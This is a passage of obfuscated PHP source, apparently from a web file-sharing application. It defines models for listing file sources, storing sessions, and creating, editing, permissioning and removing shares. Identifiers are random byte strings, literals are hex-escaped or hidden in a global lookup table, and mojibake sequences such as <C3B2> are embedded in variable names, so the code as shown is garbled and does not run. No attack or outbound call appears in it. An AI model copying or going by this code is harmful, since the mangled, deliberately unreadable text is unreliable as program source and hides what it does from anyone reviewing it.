Model($˜Ø­¤Àú[585])->getInfoSimple($“­<E2809C>ßîž[$˜Ø­¤Àú[569]]); $°Åæ¡¥¥ = $ç§ÁŽ„[$˜Ø­¤Àú[32]]; } else { if ($“­<E2809C>ßîž[$˜Ø­¤Àú[190]] == self::TYPE_SYSTEM) { $°Åæ¡¥¥ = $˜Ø­¤Àú[605]; } } } $°Åæ¡¥¥ = $°Åæ¡¥¥ ? $˜Ø­¤Àú[8] . $°Åæ¡¥¥ . $˜Ø­¤Àú[8] : $˜Ø­¤Àú[8]; return $°Åæ¡¥¥; } protected function _listAppendUser(&$•ª™ùóÐ) { $ŸøÒ¶ÞÕ =& $_SERVER[ˆ¡¹µ‹Â]; $ê‘ɽéÇ = array_to_keyvalue($•ª™ùóÐ, $ŸøÒ¶ÞÕ[12], $ŸøÒ¶ÞÕ[527]); $À¤Æ•ìÁ = array_to_keyvalue($•ª™ùóÐ, $ŸøÒ¶ÞÕ[12], $ŸøÒ¶ÞÕ[529]); $òÈ<C3B2>â´Ú = array_merge($ê‘ɽéÇ, $À¤Æ•ìÁ); $<24><>ØÐÈü = Model($ŸøÒ¶ÞÕ[598])->userListInfo($òÈ<C3B2>â´Ú); foreach ($•ª™ùóÐ as &$¿Ý´íÞŸ) { $¿ú–굧 = $¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[527]]; $¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[527]] = $<24><>ØÐÈü[$¿ú–͵ß] ? $<24><>ØÐÈü[$¿ú–͵ß] : !1; $¿ú–굧 = $¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[529]]; $¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[529]] = $<24><>ØÐÈü[$¿ú–͵ß] ? $<24><>ØÐÈü[$¿ú–͵ß] : !1; if (_get($¿Ý´íÞŸ, $ŸøÒ¶ÞÕ[606], 0)) { $…ꆽ­ = $GLOBALS[$ŸøÒ¶ÞÕ[6]][$ŸøÒ¶ÞÕ[92]][$ŸøÒ¶ÞÕ[607]]; if ($¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[539]][$ŸøÒ¶ÞÕ[608]] <= time() - $…ꆽ­) { $this->metaSet($¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[193]], $ŸøÒ¶ÞÕ[609], null); $this->metaSet($¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[193]], $ŸøÒ¶ÞÕ[608], null); unset($¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[539]][$ŸøÒ¶ÞÕ[609]]); continue; } $‰í±«°¿ = $¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[539]][$ŸøÒ¶ÞÕ[609]]; $¿Ý´íÞŸ[$ŸøÒ¶ÞÕ[539]][$ŸøÒ¶ÞÕ[610]] = Model($ŸøÒ¶ÞÕ[598])->getInfoSimpleOuter($‰í±«°¿); } } unset($¿Ý´íÞŸ); } public function parentLevelArray($â’ŽöØÜ) { $µ•·<E280A2>޳ =& $_SERVER[ˆ¡¹µ‹Â]; $â’ŽöØÜ = explode($µ•·<E280A2>޳[50], trim($â’ŽöØÜ, $µ•·<E280A2>޳[50])); return array_remove_value($â’ŽöØÜ, $µ•·<E280A2>޳[228]); } public function listAll($Ž<>Á´Â„) { $øé™ßŽÝ =& $_SERVER[ˆ¡¹µ‹Â]; $ Ñá¹—£ = $this->sourceInfo($Ž<>Á´Â„); $‹—ÉîÙ± = array($øé™ßŽÝ[611] => array($øé™ßŽÝ[612], $ Ñá¹—£[$øé™ßŽÝ[584]] . $Ž<>Á´Â„ . $øé™ßŽÝ[613]), $øé™ßŽÝ[614] => 0); $ï©ë¶Ö¼ = $øé™ßŽÝ[615]; $à·È¿<C2BF> = "\x4c\x45\106\124\40\x4a\117\x49\x4e\40{$this->tablePrefix}\x69\x6f\x5f\x66\x69\x6c\x65\40\146\151\x6c\x65\x20\x6f\156\40\163\157\x75\x72\x63\x65\x2e\146\151\154\x65\111\104\40\75\40\146\151\154\145\x2e\146\151\154\x65\x49\104"; $ ©ÜûÏ£ = $this->alias($øé™ßŽÝ[519])->field($ï©ë¶Ö¼)->where($‹—ÉîÙ±)->join($à·È¿<C2BF>)->select(); $this->_listAppendAuth($ ©ÜûÏ£); $this->_listAppendUser($ ©ÜûÏ£); $this->_listAppendPath($ ©ÜûÏ£); $ ©ÜûÏ£ = array_to_keyvalue($ ©ÜûÏ£, $øé™ßŽÝ[193]); $ÛšœÈÜà = "\57{$ Ñá¹—£[$øé™ßŽÝ[32]]}\57"; $ÛšœÈÜà = $ÛšœÈÜà == $øé™ßŽÝ[592] ? $øé™ßŽÝ[8] : $ÛšœÈÜÃ; $õæíÝõ¸ = array(); foreach ($ ©ÜûÏ£ as $Æû½¥éè => $ßÅ<C39F>°Þ<C2B0>) { $Ì¥Éôëá = $this->parentLevelArray($ßÅ<C39F>°Þ<C2B0>[$øé™ßŽÝ[584]]); array_shift($Ì¥Éôëá); $‡‡Ûø²´ = $ÛšœÈÜÃ; for ($‰ð°¾…ù = 0; $‰ð°¾…ù < count($Ì¥Éôëá); $‰ð°¾…ù++) { $‡‡Ûø²´ .= $ ©ÜûÏ£[$Ì¥Éôëá[$‰ð°¾…ù]][$øé™ßŽÝ[32]] . $øé™ßŽÝ[8]; } $‡‡Ûø²´ .= $ßÅ<C39F>°Þ<C2B0>[$øé™ßŽÝ[32]]; if ($ßÅ<C39F>°Þ<C2B0>[$øé™ßŽÝ[485]]) { $‡‡Ûø²´ .= $øé™ßŽÝ[8]; } $¦þ•<C3BE>£ = array($øé™ßŽÝ[495] => str_replace($øé™ßŽÝ[592], $øé™ßŽÝ[8], str_replace($øé™ßŽÝ[592], $øé™ßŽÝ[8], str_replace($øé™ßŽÝ[592], $øé™ßŽÝ[8], $‡‡Ûø²´))), $øé™ßŽÝ[616] => intval($ßÅ<C39F>°Þ<C2B0>[$øé™ßŽÝ[485]]), $øé™ßŽÝ[617] => intval($ßÅ<C39F>°Þ<C2B0>[$øé™ßŽÝ[79]]), $øé™ßŽÝ[88] => intval($ßÅ<C39F>°Þ<C2B0>[$øé™ßŽÝ[88]]), $øé™ßŽÝ[90] => $this->pathInfoFilter($ßÅ<C39F>°Þ<C2B0>)); if (!$¦þ•<C3BE>£[$øé™ßŽÝ[485]]) { $¦þ•<C3BE>£[$øé™ßŽÝ[541]] = $ßÅ<C39F>°Þ<C2B0>[$øé™ßŽÝ[541]]; } $õæíÝõ¸[] = $¦þ•<C3BE>£; } $õæíÝõ¸ = array_sort_by($õæíÝõ¸, $øé™ßŽÝ[87]); return $õæíÝõ¸; } } goto B<>©â¥È¥Ï; a¶„ÉÉçɘ: class SessionModel extends ModelBase { protected $tableName = "\x73\171\x73\164\x65\155\x5f\x73\x65\163\x73\151\x6f\156"; public function get($¬€€¢§û) { $¯žë›ùá =& $_SERVER[ˆ¡¹µ‹Â]; $ݾ¤…ó÷ = $this->where(array($¯žë›ùá[2102] => $¬€€¢§û))->find(); if (!is_array($ݾ¤…ó÷)) { return !1; } return $ݾ¤…ó÷[$¯žë›ùá[171]]; } public function set($<24>—Ùëú¸, $…ø<E280A6>¥Ÿ, $æ¼÷<C2BC> £ = 3600) { $Î÷—‡Žë =& $_SERVER[ˆ¡¹µ‹Â]; $ޱÄÃ<C384>å = array($Î÷—‡Žë[2102] => $<24>—Ùëú¸, $Î÷—‡Žë[2001] => $…ø<E280A6>¥Ÿ, $Î÷—‡Žë[2103] => $æ¼÷<C2BC> £ + time()); if (Session::get($Î÷—‡Žë[2104])) { $ޱÄÃ<C384>å[$Î÷—‡Žë[1763]] = Session::get($Î÷—‡Žë[2104]); } else { $ޱÄÃ<C384>å[$Î÷—‡Žë[1763]] = 0; } if ($this->get($<24>—Ùëú¸)) { return $this->where(array($Î÷—‡Žë[2102] => $<24>—Ùëú¸))->save($ޱÄÃ<C384>å); } else { return $this->add($ޱÄÃ<C384>å, array(), !0); } } public function remove($ò¦Š¦ÈÛ) { return $this->where(array($_SERVER[ˆ¡¹µ‹Â][2102] => $ò¦Š¦ÈÛ))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ˆ¡¹µ‹Â][2105] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\150\141\162\145"; protected $dataAuto = array(array("\x6d\x6f\144\151\146\x79\124\x69\155\x65", "\164\151\x6d\145", "\x69\156\x73\145\x72\164\54\165\x70\x64\141\x74\145", "\146\x75\x6e\x63\164\151\157\x6e"), array("\143\162\x65\141\x74\x65\x54\151\x6d\145", "\x74\151\x6d\x65", "\x69\156\163\x65\162\164", "\x66\x75\156\x63\x74\151\157\x6e"), array("\x6f\160\x74\151\157\156\163", '', "\151\156\163\x65\162\164\54\165\160\144\x61\x74\x65\54\x73\x65\x6c\145\143\164", "\x6a\x73\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($££¤÷í«) { $„•ºÃ˜÷ =& $_SERVER[ˆ¡¹µ‹Â]; $ÒŸ›Ô¾ý = isset($££¤÷í«[0]) ? $££¤÷í«[0] : !1; return array($„•ºÃ˜÷[2106] => array(USER_ID, $„•ºÃ˜÷[2107]), $„•ºÃ˜÷[2046] => array($ÒŸ›Ô¾ý, $„•ºÃ˜÷[2108])); } protected function listSimple() { $³©<C2B3>„©ä = array($_SERVER[ˆ¡¹µ‹Â][1763] => USER_ID); $ÇѺâíÌ = $this->field($this->fieldList)->where($³©<C2B3>„©ä)->select(); return $ÇѺâíÌ ? $ÇѺâíÌ : array(); } protected function getInfo($ð¯Þº<C39E>µ, $›Í¶æê¥ = false) { $๋ÏÍ  =& $_SERVER[ˆ¡¹µ‹Â]; if ($›Í¶æê¥) { return $this->_getShareInfo(array($๋ÏÍ [665] => $ð¯Þº<C39E>µ)); } $À–¤‚‚Å = $this->cacheFunctionGet($๋ÏÍ [2048], $ð¯Þº<C39E>µ); return $À–¤‚‚Å; } public function getInfoByHash($»œãýÕ©) { return $this->_getShareInfo(array($_SERVER[ˆ¡¹µ‹Â][2109] => $»œãýÕ©)); } public function getInfoByPath($­ŠïâµÚ) { $šü–Úè› =& $_SERVER[ˆ¡¹µ‹Â]; $÷ßË¢ø¨ = array($šü–Úè›[1763] => USER_ID, $šü–Úè›[193] => $­ŠïâµÚ); return $this->_getShareInfo($÷ßË¢ø¨); } public function getInfoBySourcePath($œ›‰»ëŽ) { $¿¥ž‰ä® =& $_SERVER[ˆ¡¹µ‹Â]; $æÂ©Á¹<C381> = array($¿¥ž‰ä®[1763] => USER_ID, $¿¥ž‰ä®[1250] => $œ›‰»ëŽ); return $this->_getShareInfo($æÂ©Á¹<C381>); } private function _getShareInfo($™Œ¹‚ã¦) { $ƒª¼ìæ’ =& $_SERVER[ˆ¡¹µ‹Â]; $øŠ½óýù = $this->where($™Œ¹‚ã¦)->find(); if (!$øŠ½óýù) { return !1; } $™Œ¹‚㦠= array($ƒª¼ìæ’[665] => $øŠ½óýù[$ƒª¼ìæ’[665]]); $ÝŒÜÄùô = $ƒª¼ìæ’[2110]; $ײ…®—„ = Model($ƒª¼ìæ’[666])->order($ƒª¼ìæ’[475])->field($ÝŒÜÄùô)->where($™Œ¹‚ã¦)->select(); if ($øŠ½óýù[$ƒª¼ìæ’[193]] == $ƒª¼ìæ’[228]) { $øŠ½óýù[$ƒª¼ìæ’[90]] = IO::info($øŠ½óýù[$ƒª¼ìæ’[1250]]); } else { $øŠ½óýù[$ƒª¼ìæ’[90]] = Model($ƒª¼ìæ’[1411])->pathInfo($øŠ½óýù[$ƒª¼ìæ’[193]]); } $øŠ½óýù[$ƒª¼ìæ’[2111]] = $ײ…®—„; return $øŠ½óýù; } protected function getInfoAuth($ú⸽<C2B8>“) { $ºšó•¹Œ =& $_SERVER[ˆ¡¹µ‹Â]; $¾õÎá<C38E>ò = $this->getInfo($ú⸽<C2B8>“); if ($¾õÎá<C38E>ò[$ºšó•¹Œ[1763]] == USER_ID) { $¾õÎá<C38E>ò[$ºšó•¹Œ[487]] = $¾õÎá<C38E>ò[$ºšó•¹Œ[90]][$ºšó•¹Œ[487]]; } else { $¾õÎá<C38E>ò[$ºšó•¹Œ[487]] = Model($ºšó•¹Œ[567])->authMake($¾õÎá<C38E>ò[$ºšó•¹Œ[2111]]); } return $¾õÎá<C38E>ò; } protected function listData($Û¡·è˜¥ = null, $ùЂ¦…Õ = 300) { $Ò¥•¯¾¹ =& $_SERVER[ˆ¡¹µ‹Â]; $É៩þÄ = array(array($Ò¥•¯¾¹[562] => array($Ò¥•¯¾¹[1083], 0), $Ò¥•¯¾¹[663] => array($Ò¥•¯¾¹[1083], 0), $Ò¥•¯¾¹[2112] => $Ò¥•¯¾¹[2064])); if ($Û¡·è˜¥ == $Ò¥•¯¾¹[2113]) { $É៩þÄ = array($Ò¥•¯¾¹[562] => 1); } else { if ($Û¡·è˜¥ == $Ò¥•¯¾¹[1235]) { $É៩þÄ = array($Ò¥•¯¾¹[663] => 1); } } $É៩þÄ[$Ò¥•¯¾¹[1763]] = USER_ID; $‚˜ä…“Ü = $this->where($É៩þÄ)->selectPage($ùЂ¦…Õ); return $‚˜ä…“Ü; } protected function listToMe($äÎý<C38E>²Î = 300) { $Öý<E280BA> =& $_SERVER[ˆ¡¹µ‹Â]; $ýÙŽÏÏ® = Model($Öý<E280BA>[2114])->userGroupParents(USER_ID); $ÆÃÔ¥‡Ê = array($Öý<E280BA>[648] => SourceModel::TYPE_USER, $Öý<E280BA>[569] => USER_ID); if ($ýÙŽÏÏ®) { $ÆÃÔ¥‡Ê = array(array($Öý<E280BA>[648] => SourceModel::TYPE_USER, $Öý<E280BA>[569] => USER_ID), array($Öý<E280BA>[648] => SourceModel::TYPE_GROUP, $Öý<E280BA>[569] => array($Öý<E280BA>[7], $ýÙŽÏÏ®)), $Öý<E280BA>[2112] => $Öý<E280BA>[2064]); } $±Í‘¢â˜ = Model($Öý<E280BA>[666])->where($ÆÃÔ¥‡Ê)->selectPage($äÎý<C38E>²Î); $ðÖðåç¸ = array_to_keyvalue_group($±Í‘¢â˜[$Öý<E280BA>[445]], $Öý<E280BA>[665]); if (!$ðÖðåç¸) { return $±Í‘¢â˜; } $þ…Ì·”õ = $Öý<E280BA>[2115]; $ÆÃÔ¥‡Ê = array($Öý<E280BA>[665] => array($Öý<E280BA>[492], array_keys($ðÖðåç¸)), $Öý<E280BA>[1763] => array($Öý<E280BA>[1085], $Öý<E280BA>[228])); $½ë€‹ßÒ = $this->field($þ…Ì·”õ)->where($ÆÃÔ¥‡Ê)->select(); foreach ($½ë€‹ßÒ as $«š¢¸ì¥ => &$øøõó‰€) { $øøõó‰€[$Öý<E280BA>[2111]] = $ðÖðåç¸[$øøõó‰€[$Öý<E280BA>[665]]]; } unset($øøõó‰€); $Þ¡ù•Þ’ = array($Öý<E280BA>[2116] => $½ë€‹ßÒ, $Öý<E280BA>[2117] => $±Í‘¢â˜[$Öý<E280BA>[442]]); return $Þ¡ù•Þ’; } protected function shareAdd($ÑáˆÛ¼Á, $”â˜ò²î) { $ôÖ‚‘ý¡ =& $_SERVER[ˆ¡¹µ‹Â]; $‹˜ã‘ÁÉ = $this->_addShareData($ÑáˆÛ¼Á, $”â˜ò²î); if (!empty($”â˜ò²î[$ôÖ‚‘ý¡[2118]])) { $this->_shareAuthSet($‹˜ã‘ÁÉ, $”â˜ò²î[$ôÖ‚‘ý¡[2118]]); } $this->shareEventAdd($ÑáˆÛ¼Á, $”â˜ò²î, $ôÖ‚‘ý¡[2119]); return $‹˜ã‘ÁÉ; } protected function shareAddSystem($ªÆ´àæ<C3A0>, $䙂‚á§) { $Ìáʬ¿ç =& $_SERVER[ˆ¡¹µ‹Â]; $ìÌéÊãÎ = $this->_addShareData($ªÆ´àæ<C3A0>, $䙂‚á§, $Ìáʬ¿ç[191]); $this->_shareAuthSet($ìÌéÊãÎ, $䙂‚á§[$Ìáʬ¿ç[2118]]); return $ìÌéÊãÎ; } private function shareEventAdd($ß <E28098>Ãþ, $¨Éź«Ž, $ŒÉÐß<C390>Ä = "\141\x64\144") { $ê«æ‡£¸ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ß <E28098>Ãþ || $ß <E28098>Ãþ == $ê«æ‡£¸[228]) { return; } if ($ŒÉÐß<C390>Ä == $ê«æ‡£¸[2119]) { if ($¨Éź«Ž[$ê«æ‡£¸[562]] == $ê«æ‡£¸[91]) { Model($ê«æ‡£¸[633])->eventShare($ß <E28098>Ãþ, $ê«æ‡£¸[2120]); } if ($¨Éź«Ž[$ê«æ‡£¸[663]] == $ê«æ‡£¸[91]) { Model($ê«æ‡£¸[633])->eventShare($ß <E28098>Ãþ, $ê«æ‡£¸[2121]); } return; } $†È­˜ß… = $this->getInfoByPath($ß <E28098>Ãþ); $™Üªñ€æ = $ê«æ‡£¸[2122]; if ($†È­˜ß…[$ê«æ‡£¸[562]] == $ê«æ‡£¸[228] && $¨Éź«Ž[$ê«æ‡£¸[562]] == $ê«æ‡£¸[91]) { $™Üªñ€æ = $ê«æ‡£¸[2120]; } if ($†È­˜ß…[$ê«æ‡£¸[562]] == $ê«æ‡£¸[91] && $¨Éź«Ž[$ê«æ‡£¸[562]] == $ê«æ‡£¸[228]) { $™Üªñ€æ = $ê«æ‡£¸[2123]; } if ($†È­˜ß…[$ê«æ‡£¸[663]] == $ê«æ‡£¸[228] && $¨Éź«Ž[$ê«æ‡£¸[663]] == $ê«æ‡£¸[91]) { $™Üªñ€æ = $ê«æ‡£¸[2121]; } if ($†È­˜ß…[$ê«æ‡£¸[663]] == $ê«æ‡£¸[91] && $¨Éź«Ž[$ê«æ‡£¸[663]] == $ê«æ‡£¸[228]) { $™Üªñ€æ = $ê«æ‡£¸[2124]; } Model($ê«æ‡£¸[633])->eventShare($ß <E28098>Ãþ, $™Üªñ€æ); return; } private function _addShareData($û‘‘ŒÍî, $þâ<C3BE>Á¥ì = array(), $Ù€Û÷øä = false) { $ÒÅ‘þ©’ =& $_SERVER[ˆ¡¹µ‹Â]; $ꨦ¿ùÀ = $Ù€Û÷øä == $ÒÅ‘þ©’[191] ? 0 : USER_ID; $ÌÚ‡ø³æ = array($ÒÅ‘þ©’[491] => $û‘‘ŒÍî, $ÒÅ‘þ©’[1754] => $ꨦ¿ùÀ); if ($û‘‘ŒÍî == 0) { $ÌÚ‡ø³æ = array($ÒÅ‘þ©’[2125] => $þâ<C3BE>Á¥ì[$ÒÅ‘þ©’[1250]], $ÒÅ‘þ©’[1754] => $ꨦ¿ùÀ); } if ($©“…—‡« = $this->where($ÌÚ‡ø³æ)->find()) { return $©“…—‡«[$ÒÅ‘þ©’[665]]; } if ($û‘‘ŒÍî == 0) { $˜³¶ü¥Ú = array($ÒÅ‘þ©’[32] => get_path_this($þâ<C3BE>Á¥ì[$ÒÅ‘þ©’[87]])); } else { $˜³¶ü¥Ú = Model($ÒÅ‘þ©’[899])->sourceInfo($û‘‘ŒÍî); if (!$˜³¶ü¥Ú) { return !1; } } if (!$þâ<C3BE>Á¥ì[$ÒÅ‘þ©’[1652]]) { $þâ<C3BE>Á¥ì[$ÒÅ‘þ©’[1652]] = $˜³¶ü¥Ú[$ÒÅ‘þ©’[32]]; } $­Œ„¿Ô¼ = array($ÒÅ‘þ©’[1754] => $ꨦ¿ùÀ, $ÒÅ‘þ©’[491] => $û‘‘ŒÍî, $ÒÅ‘þ©’[1652] => $ÒÅ‘þ©’[12], $ÒÅ‘þ©’[562] => 0, $ÒÅ‘þ©’[663] => 0, $ÒÅ‘þ©’[1250] => $ÒÅ‘þ©’[12], $ÒÅ‘þ©’[383] => $ÒÅ‘þ©’[12], $ÒÅ‘þ©’[960] => $ÒÅ‘þ©’[12], $ÒÅ‘þ©’[2126] => 0, $ÒÅ‘þ©’[2127] => 0, $ÒÅ‘þ©’[828] => 0, $ÒÅ‘þ©’[2128] => $ÒÅ‘þ©’[12], $ÒÅ‘þ©’[2109] => $ÒÅ‘þ©’[12]); $Š…èºÉÞ = explode($ÒÅ‘þ©’[50], $ÒÅ‘þ©’[2129]); foreach ($Š…èºÉÞ as $҉닧ó) { if (!isset($þâ<C3BE>Á¥ì[$҉닧ó])) { continue; } $­Œ„¿Ô¼[$҉닧ó] = $þâ<C3BE>Á¥ì[$҉닧ó]; } $„ù„û¸Å = $this->add($­Œ„¿Ô¼); $ˆ<>ùÎÆ• = array($ÒÅ‘þ©’[2109] => short_id($„ù„û¸Å)); $this->where(array($ÒÅ‘þ©’[2130] => $„ù„û¸Å))->save($ˆ<>ùÎÆ•); return $„ù„û¸Å; } private function _shareAuthSet($¥ª¿¼¡ý, $Þý¸íˆæ) { $³Óì´©í =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_array($Þý¸íˆæ)) { return !1; } $“¦œÕþæ = Model($³Óì´©í[2074]); $“¦œÕþæ->where(array($³Óì´©í[665] => $¥ª¿¼¡ý))->delete(); $¨ßð‰ª” = array(); foreach ($Þý¸íˆæ as $ÒÜ‹ì¢ü) { $Ò<><C392>䨵 = SourceModel::TYPE_USER; if ($ÒÜ‹ì¢ü[$³Óì´©í[190]] == SourceModel::TYPE_GROUP) { $Ò<><C392>䨵 = SourceModel::TYPE_GROUP; } $“Ò€æ’õ = array($³Óì´©í[665] => $¥ª¿¼¡ý, $³Óì´©í[190] => $Ò<><C392>䨵, $³Óì´©í[569] => intval($ÒÜ‹ì¢ü[$³Óì´©í[569]]), $³Óì´©í[2070] => 0, $³Óì´©í[2131] => -1); if ($ÒÜ‹ì¢ü[$³Óì´©í[2070]]) { $“Ò€æ’õ[$³Óì´©í[2070]] = $ÒÜ‹ì¢ü[$³Óì´©í[2070]]; } else { if ($ÒÜ‹ì¢ü[$³Óì´©í[2131]]) { $“Ò€æ’õ[$³Óì´©í[2131]] = $ÒÜ‹ì¢ü[$³Óì´©í[2131]]; } } $¨ßð‰ª”[] = $“Ò€æ’õ; } return $“¦œÕþæ->addAll($¨ßð‰ª”, array(), !0); } public function numViewAdd($¤¾—Û¢ï) { $æò<C3A6>×ÓÞ =& $_SERVER[ˆ¡¹µ‹Â]; $ÏÀ ¯ïÜ = array($æò<C3A6>×ÓÞ[2130] => $¤¾—Û¢ï); $this->where($ÏÀ ¯ïÜ)->setAdd($æò<C3A6>×ÓÞ[2126]); } public function numDownloadAdd($‡Õμ’ç) { $íãóº‹Ç =& $_SERVER[ˆ¡¹µ‹Â]; $ŠÕå¨þÙ = array($íãóº‹Ç[2130] => $‡Õμ’ç); $this->where($ŠÕå¨þÙ)->setAdd($íãóº‹Ç[2127]); } protected function shareEdit($¡Ñ×±×Ô, $½üê¹³×) { $“ºúω€ =& $_SERVER[ˆ¡¹µ‹Â]; $ƒËˆÔãÊ = $this->getInfo($¡Ñ×±×Ô); if (!$ƒËˆÔãÊ) { return !1; } $this->_checkLinkShare($½üê¹³×, $ƒËˆÔãÊ); $õÄÍ»æì = array(); $«ŸúŒøŠ = explode($“ºúω€[50], $“ºúω€[2132]); foreach ($«ŸúŒøŠ as $<24>˜ûôµý) { if (!array_key_exists($<24>˜ûôµý, $½üê¹³×)) { continue; } $õÄÍ»æì[$<24>˜ûôµý] = $½üê¹³×[$<24>˜ûôµý]; } $this->shareEventAdd($ƒËˆÔãÊ[$“ºúω€[193]], $½üê¹³×, $“ºúω€[1931]); $this->where(array($“ºúω€[2130] => $¡Ñ×±×Ô))->save($õÄÍ»æì); if (isset($½üê¹³×[$“ºúω€[2118]])) { $this->_shareAuthSet($¡Ñ×±×Ô, $½üê¹³×[$“ºúω€[2118]]); } return !0; } private function _checkLinkShare($ç·Ùû˹, $Ÿ·ç<C2B7>ÖÊ) { $œÈÂÙ’™ =& $_SERVER[ˆ¡¹µ‹Â]; if ($ç·Ùû˹[$œÈÂÙ’™[562]] != $œÈÂÙ’™[91]) { return; } $„ïñˆ† = $Ÿ·ç<C2B7>ÖÊ[$œÈÂÙ’™[90]][$œÈÂÙ’™[193]]; if ($Ÿ·ç<C2B7>ÖÊ[$œÈÂÙ’™[90]][$œÈÂÙ’™[33]] != $œÈÂÙ’™[230]) { $‡Õ¢<C395>¶Ã = $this->_folderReport($„ïñˆ†); if (!$‡Õ¢<C395>¶Ã) { return; } show_json(LNG($œÈÂÙ’™[2133]) . $œÈÂÙ’™[2134] . $‡Õ¢<C395>¶Ã, !1); } $³å´‡œÀ = Model($œÈÂÙ’™[899])->fileInfoGet($Ÿ·ç<C2B7>ÖÊ[$œÈÂÙ’™[90]][$œÈÂÙ’™[193]]); if (!$³å´‡œÀ) { return; } $†¸ÞÜ«‰ = $this->shareFileMeta($³å´‡œÀ[$œÈÂÙ’™[541]]); if (isset($†¸ÞÜ«‰[$œÈÂÙ’™[450]]) && $†¸ÞÜ«‰[$œÈÂÙ’™[450]] == $œÈÂÙ’™[91]) { show_json(LNG($œÈÂÙ’™[2135]), !1); } } private function _folderReport($âû¿°À˜) { $»ºÑ¶Ü<C2B6> =& $_SERVER[ˆ¡¹µ‹Â]; $­‰Ø¶¾° = array($»ºÑ¶Ü<C2B6>[541] => array($»ºÑ¶Ü<C2B6>[1083], 0), $»ºÑ¶Ü<C2B6>[817] => 3); $Àöïž©› = Model($»ºÑ¶Ü<C2B6>[2136])->where($­‰Ø¶¾°)->field($»ºÑ¶Ü<C2B6>[541])->select(); if (!$Àöïž©›) { return !1; } $Àöïž©› = array_to_keyvalue($Àöïž©›, $»ºÑ¶Ü<C2B6>[12], $»ºÑ¶Ü<C2B6>[541]); $àÉÅÕüµ = $»ºÑ¶Ü<C2B6>[50] . $âû¿°À˜ . $»ºÑ¶Ü<C2B6>[50]; $­‰Ø¶¾° = array($»ºÑ¶Ü<C2B6>[541] => array($»ºÑ¶Ü<C2B6>[7], $Àöïž©›), $»ºÑ¶Ü<C2B6>[584] => array($»ºÑ¶Ü<C2B6>[459], "\x25{$àÉÅÕüµ}\45"), $»ºÑ¶Ü<C2B6>[505] => 0); $¼Â®ú°¢ = Model($»ºÑ¶Ü<C2B6>[899])->where($­‰Ø¶¾°)->field($»ºÑ¶Ü<C2B6>[2137])->find(); if (!$¼Â®ú°¢) { return !1; } $¢›ÝÂðã = substr($¼Â®ú°¢[$»ºÑ¶Ü<C2B6>[584]], strpos($¼Â®ú°¢[$»ºÑ¶Ü<C2B6>[584]], $àÉÅÕüµ)); $­‰Ø¶¾° = array($»ºÑ¶Ü<C2B6>[193] => array($»ºÑ¶Ü<C2B6>[7], trim($¢›ÝÂðã, $»ºÑ¶Ü<C2B6>[50]))); $¤¬Ñß»· = Model($»ºÑ¶Ü<C2B6>[899])->where($­‰Ø¶¾°)->field($»ºÑ¶Ü<C2B6>[32])->select(); $Á¸“Ê̼ = array_to_keyvalue($¤¬Ñß»·, $»ºÑ¶Ü<C2B6>[12], $»ºÑ¶Ü<C2B6>[32]); $Á¸“Ê̼[] = $¼Â®ú°¢[$»ºÑ¶Ü<C2B6>[32]]; return implode($»ºÑ¶Ü<C2B6>[8], $Á¸“Ê̼); } protected function remove($褖¿œŒ) { $ó‘—Ô¾Ñ =& $_SERVER[ˆ¡¹µ‹Â]; $±—ᱟº = is_array($褖¿œŒ) ? $褖¿œŒ : array($褖¿œŒ); for ($ ‘Ÿºé¦ = 0; $ ‘Ÿºé¦ < count($±—ᱟº); $ ‘Ÿºé¦++) { $ÜÇíó·à = $this->getInfo($±—ᱟº[$ ‘Ÿºé¦]); if ($ÜÇíó·à[$ó‘—Ô¾Ñ[663]] == $ó‘—Ô¾Ñ[91]) { Model($ó‘—Ô¾Ñ[633])->eventShare($ÜÇíó·à[$ó‘—Ô¾Ñ[193]], $ó‘—Ô¾Ñ[2124]); } if ($ÜÇíó·à[$ó‘—Ô¾Ñ[562]] == $ó‘—Ô¾Ñ[91]) { Model($ó‘—Ô¾Ñ[633])->eventShare($ÜÇíó·à[$ó‘—Ô¾Ñ[193]], $ó‘—Ô¾Ñ[2123]); } } if (is_array($褖¿œŒ)) { $褖¿œŒ = array($ó‘—Ô¾Ñ[7], $褖¿œŒ); } $ÛÁ—Øóƒ = array($ó‘—Ô¾Ñ[665] => $褖¿œŒ); $ÎØ¯ü ¶ = $this->where($ÛÁ—Øóƒ)->delete(); if ($ÎØ¯ü ¶) { Model($ó‘—Ô¾Ñ[666])->where(array($ó‘—Ô¾Ñ[665] => $褖¿œŒ))->delete(); } return $ÎØ¯ü ¶; } protected function removeBySource($ÛË€ñ¬å) { $„ߨ­Åô =& $_SERVER[ˆ¡¹µ‹Â]; $õ™…³Ä– = array($„ߨ­Åô[491] => array($„ߨ­Åô[492], $ÛË€ñ¬å)); $¶Õ²Ò¾<C392> = $this->field($„ߨ­Åô[665])->where($õ™…³Ä–)->select(); $¶Õ²Ò¾<C392> = array_to_keyvalue($¶Õ²Ò¾<C392>, $„ߨ­Åô[12], $„ߨ­Åô[665]); if (!$¶Õ²Ò¾<C392>) { return; } $õ™…³Ä– = array($„ߨ­Åô[2130] => array($„ߨ­Åô[492], $¶Õ²Ò¾<C392>)); $this->where($õ™…³Ä–)->delete(); Model($„ߨ­Åô[666])->where($õ™…³Ä–)->delete(); } public function listAll($„άëà˜) { $‚ÇÓ’î† =& $_SERVER[ˆ¡¹µ‹Â]; $‚¶ï§ÇÅ = array(); if ($„άëà˜[$‚ÇÓ’î†[1763]]) { $‚¶ï§ÇÅ[$‚ÇÓ’î†[1763]] = $„άëà˜[$‚ÇÓ’î†[1763]]; } if ($„άëà˜[$‚ÇÓ’î†[827]]) { $ÔÊì¤ïÀ = $„άëà˜[$‚ÇÓ’î†[828]] ? $„άëà˜[$‚ÇÓ’î†[828]] : strtotime(date($‚ÇÓ’î†[2138])); $‚¶ï§ÇÅ[$‚ÇÓ’î†[231]] = array($‚ÇÓ’î†[409], array($„άëà˜[$‚ÇÓ’î†[827]], $ÔÊì¤ïÀ)); } 